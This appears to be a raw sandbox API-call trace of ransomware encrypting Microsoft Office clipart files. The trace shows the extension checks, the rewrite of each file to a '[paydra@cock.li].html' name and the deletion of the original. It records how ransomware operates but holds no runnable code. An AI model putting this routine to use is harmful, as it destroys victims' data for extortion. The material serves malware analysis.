[0053.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.061] lstrlenW (lpString=".bz2") returned 4 [0053.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.061] lstrlenW (lpString=".7z") returned 3 [0053.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0053.061] lstrlenW (lpString=".dbf") returned 4 [0053.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0053.061] lstrlenW (lpString=".1cd") returned 4 [0053.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0053.061] lstrlenW (lpString=".jpg") returned 4 [0053.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.061] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.061] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.062] GetLastError () returned 0x0 [0053.062] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1384, lpOverlapped=0x0) returned 1 [0053.063] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0053.064] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.064] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.065] SetEndOfFile (hFile=0x19c) returned 1 [0053.065] CloseHandle (hObject=0x19c) returned 1 [0053.065] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.065] SetEndOfFile (hFile=0x190) returned 1 [0053.066] CloseHandle (hObject=0x190) returned 1 [0053.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0053.066] lstrlenW (lpString=".doc") returned 4 [0053.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.066] lstrlenW (lpString=".docx") returned 5 [0053.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.066] lstrlenW (lpString=".pdf") returned 4 [0053.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.066] lstrlenW (lpString=".xls") returned 4 [0053.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.066] lstrlenW (lpString=".xlsx") returned 5 [0053.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.066] lstrlenW (lpString=".ppt") returned 4 [0053.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0053.067] lstrlenW (lpString=".zip") returned 4 [0053.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.067] lstrlenW (lpString=".rar") returned 4 [0053.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.067] lstrlenW (lpString=".bz2") returned 4 [0053.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.067] lstrlenW (lpString=".7z") returned 3 [0053.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0053.067] lstrlenW (lpString=".dbf") returned 4 [0053.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0053.067] lstrlenW (lpString=".1cd") returned 4 [0053.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0053.067] lstrlenW (lpString=".jpg") returned 4 [0053.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.067] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.067] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.068] GetLastError () returned 0x0 [0053.068] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x138c, lpOverlapped=0x0) returned 1 [0053.257] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0053.258] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.258] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.258] SetEndOfFile (hFile=0x19c) returned 1 [0053.258] CloseHandle (hObject=0x19c) returned 1 [0053.258] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.258] SetEndOfFile (hFile=0x190) returned 1 [0053.259] CloseHandle (hObject=0x190) returned 1 [0053.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0053.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0053.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0053.260] lstrlenW (lpString=".doc") returned 4 [0053.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString=".docx") returned 5 [0053.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.260] lstrlenW (lpString=".pdf") returned 4 [0053.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString=".xls") returned 4 [0053.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.260] lstrlenW (lpString=".xlsx") returned 5 [0053.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.260] lstrlenW (lpString=".ppt") returned 4 [0053.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0053.260] lstrlenW (lpString=".zip") returned 4 [0053.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.260] lstrlenW (lpString=".rar") returned 4 [0053.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString=".bz2") returned 4 [0053.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString=".7z") returned 3 [0053.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0053.260] lstrlenW (lpString=".dbf") returned 4 [0053.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0053.260] lstrlenW (lpString=".1cd") returned 4 [0053.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0053.260] lstrlenW (lpString=".jpg") returned 4 [0053.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.261] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.261] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.261] GetLastError () returned 0x0 [0053.261] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0053.264] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0053.265] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.265] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.265] SetEndOfFile (hFile=0x19c) returned 1 [0053.265] CloseHandle (hObject=0x19c) returned 1 [0053.266] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.266] SetEndOfFile (hFile=0x190) returned 1 [0053.266] CloseHandle (hObject=0x190) returned 1 [0053.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0053.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0053.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0053.267] lstrlenW (lpString=".doc") returned 4 [0053.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.267] lstrlenW (lpString=".docx") returned 5 [0053.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.267] lstrlenW (lpString=".pdf") returned 4 [0053.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.267] lstrlenW (lpString=".xls") returned 4 [0053.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.267] lstrlenW (lpString=".xlsx") returned 5 [0053.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.267] lstrlenW (lpString=".ppt") returned 4 [0053.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0053.267] lstrlenW (lpString=".zip") returned 4 [0053.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.268] lstrlenW (lpString=".rar") returned 4 [0053.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.268] lstrlenW (lpString=".bz2") returned 4 [0053.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.268] lstrlenW (lpString=".7z") returned 3 [0053.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0053.268] lstrlenW (lpString=".dbf") returned 4 [0053.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0053.268] lstrlenW (lpString=".1cd") returned 4 [0053.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0053.268] lstrlenW (lpString=".jpg") returned 4 [0053.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.268] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.268] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.269] GetLastError () returned 0x0 [0053.269] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0053.271] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0053.272] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.272] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.272] SetEndOfFile (hFile=0x19c) returned 1 [0053.272] CloseHandle (hObject=0x19c) returned 1 [0053.272] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.272] SetEndOfFile (hFile=0x190) returned 1 [0053.273] CloseHandle (hObject=0x190) returned 1 [0053.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0053.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0053.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0053.274] lstrlenW (lpString=".doc") returned 4 [0053.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.274] lstrlenW (lpString=".docx") returned 5 [0053.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.274] lstrlenW (lpString=".pdf") returned 4 [0053.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.274] lstrlenW (lpString=".xls") returned 4 [0053.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.274] lstrlenW (lpString=".xlsx") returned 5 [0053.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.274] lstrlenW (lpString=".ppt") returned 4 [0053.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0053.275] lstrlenW (lpString=".zip") returned 4 [0053.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.275] lstrlenW (lpString=".rar") returned 4 [0053.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.275] lstrlenW (lpString=".bz2") returned 4 [0053.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.275] lstrlenW (lpString=".7z") returned 3 [0053.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0053.275] lstrlenW (lpString=".dbf") returned 4 [0053.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0053.275] lstrlenW (lpString=".1cd") returned 4 [0053.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0053.275] lstrlenW (lpString=".jpg") returned 4 [0053.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.275] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.275] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.276] GetLastError () returned 0x0 [0053.276] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x504a, lpOverlapped=0x0) returned 1 [0053.278] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0053.279] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.279] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.279] SetEndOfFile (hFile=0x19c) returned 1 [0053.279] CloseHandle (hObject=0x19c) returned 1 [0053.280] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.280] SetEndOfFile (hFile=0x190) returned 1 [0053.280] CloseHandle (hObject=0x190) returned 1 [0053.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0053.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0053.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0053.281] lstrlenW (lpString=".doc") returned 4 [0053.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.281] lstrlenW (lpString=".docx") returned 5 [0053.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.281] lstrlenW (lpString=".pdf") returned 4 [0053.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.281] lstrlenW (lpString=".xls") returned 4 [0053.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.281] lstrlenW (lpString=".xlsx") returned 5 [0053.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.281] lstrlenW (lpString=".ppt") returned 4 [0053.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0053.281] lstrlenW (lpString=".zip") returned 4 [0053.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.281] lstrlenW (lpString=".rar") returned 4 [0053.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.282] lstrlenW (lpString=".bz2") returned 4 [0053.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.282] lstrlenW (lpString=".7z") returned 3 [0053.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0053.282] lstrlenW (lpString=".dbf") returned 4 [0053.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0053.282] lstrlenW (lpString=".1cd") returned 4 [0053.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0053.282] lstrlenW (lpString=".jpg") returned 4 [0053.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.284] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=7966) returned 1 [0053.284] CloseHandle (hObject=0x190) returned 1 [0053.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0053.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.285] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.285] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft 